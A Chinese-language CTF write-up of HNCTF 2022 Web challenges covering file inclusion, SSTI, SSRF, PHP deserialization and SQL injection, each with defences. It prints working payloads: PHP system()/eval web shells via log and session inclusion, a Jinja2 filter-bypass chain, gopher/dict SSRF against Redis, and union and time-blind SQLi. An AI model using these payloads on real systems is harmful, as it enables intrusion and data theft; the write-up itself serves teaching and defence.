1. Web安全实战从HNCTF 2022看漏洞攻防本质去年参加HNCTF时我发现很多选手面对Web题总是束手无策。其实CTF中的Web漏洞都是真实网络攻防的缩影比如某电商平台就曾因文件包含漏洞导致百万用户数据泄露。让我们以HNCTF 2022的典型题目为例拆解五大核心漏洞的攻防逻辑。Web安全本质上是一场输入与过滤的博弈。攻击者想方设法构造异常输入防御者则通过过滤和校验建立安全边界。在Interesting_include这道题中出题人用php://filter伪协议设置陷阱这正是现实中攻击者读取系统文件的常用手段。去年某CMS爆出的高危漏洞CVE-2022-31626利用方式与此如出一辙。2. 文件包含漏洞从任意读到RCE的进化2.1 基础利用手法在easy_include题目中典型的日志文件包含漏洞演示了攻击链条通过?file/var/log/nginx/access.log确认漏洞存在在User-Agent中植入PHP代码?php system($_GET[cmd]);?包含日志文件触发代码执行我调试时发现个细节Apache默认日志路径是/var/log/apache2/access.log而Nginx则是/var/log/nginx/access.log。这种差异在实战中可能导致攻击失败。2.2 高阶绕过技巧QAQ_1inclu4e题目展示了进阶玩法——Session文件包含。解题时需要通过条件竞争上传恶意Session包含/tmp/sess_[id]文件使用PHP的session.upload_progress特性# 条件竞争脚本核心逻辑 def upload(session): while True: files {file: (shell.php, ?php eval($_POST[1]);?)} data {PHP_SESSION_UPLOAD_PROGRESS: ?php system(id);?} session.post(url, filesfiles, datadata, cookies{PHPSESSID:test})2.3 防御方案禁用危险协议php.ini中设置allow_url_includeOff白名单校验$allowed [about.php,contact.php]; if(!in_array($file, $allowed)) die();目录限制open_basedir /var/www/html3. SSTI漏洞模板引擎的致命缺陷3.1 漏洞原理ez_SSTI题目使用Flask框架当使用{{7*7}}测试返回49时就确认存在模板注入。不同引擎的payload差异很大引擎类型测试Payload危险函数调用Jinja2{{config.__class__}}__globals__.__builtins__.evalTwig{{_self.env}}system(id)Smarty{system(id)}直接执行系统命令3.2 实战利用在ssssti题目中我通过分步测试发现过滤规则先尝试{{lipsum.__globals__}}获取全局变量发现os模块被禁后改用__import__(subprocess).check_output(ls)最终payload采用链式调用绕过过滤?name{{lipsum[request.a][request.b][request.c](request.d).popen(request.e).read()}} a__globals__b__builtins__c__import__dosecat /flag3.3 防御建议禁用动态模板env Environment(undefinedStrictUndefined)内容转义from markupsafe import escape; escape(user_input)沙箱隔离使用jinja2.sandbox.SandboxedEnvironment4. SSRF漏洞内网渗透的跳板4.1 基础利用ez_ssrf题目演示了典型的SSRF攻击链发现?urlhttp://example.com参数尝试访问内网服务http://127.0.0.1:8080通过CRLF注入构造完整HTTP请求GET /flag.php HTTP/1.1 Host: 127.0.0.1 Connection: Close4.2 协议拓展攻击除了HTTP协议SSRF还可能利用file协议file:///etc/passwddict协议dict://127.0.0.1:6379/info探测Redisgopher协议可构造任意TCP流量某次实战中我通过gopher://协议成功攻击了内网的Redis服务实现了未授权访问。4.3 防御方案协议白名单if(![http,https].includes(url.protocol)) reject();域名黑名单blocked [localhost,127.0.0.1]; if(blocked.some(vurl.host.includes(v))) reject();请求限制禁用CURLOPT_FOLLOWLOCATION5. 反序列化漏洞对象注入的艺术5.1 POP链构造easy_unser题目需要绕过__wakeup魔术方法关键步骤分析源码找到可利用的类方法构造属性覆盖O:4:body:3:{s:10:\x00body\x00want;s:36:php://filter/convert.base64-encode/resourcef14g.php;}注意PHP7私有属性编码问题class VulnerableClass { private $cmd id; function __destruct() { system($this-cmd); } } unserialize($_GET[data]); // 注入对象5.2 Phar反序列化ez_phar题目展示了更隐蔽的攻击方式创建恶意phar文件通过文件操作函数触发file_exists(phar://uploaded/file)自动执行Metadata中的对象方法5.3 防御措施禁用危险函数disable_functions unserialize签名校验phar.require_hashOn使用JSON替代json_decode($data, true)6. SQL注入永恒的安全课题6.1 无列名注入easy_sql题目演示了当information_schema被禁用时的注入技巧0 union select 1,2,group_concat(1) from (select 1 union select * from secret_table) x where 1这种技术在我审计某开源项目时同样适用通过子查询别名访问未知列名。6.2 时间盲注进阶ohmywordpress题目需要结合时间盲注和WordPress特性payload { action: qcopd_upvote_action, post_id: f(SELECT IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(a) FROM f(SELECT 1 as a UNION SELECT * FROM flag)b),{i},1)){o},SLEEP(3),0)) }6.3 防御方案预编译语句$stmt $pdo-prepare(SELECT * FROM users WHERE id?);最小权限原则数据库账户仅授予必要权限WAF规则过滤union select、information_schema等关键词在fun_sql题目中我意外发现load_file()函数可以绕过某些过滤规则读取文件这提醒我们防御需要多层设计。某次真实渗透测试中正是通过这种特性成功读取了服务器配置文件。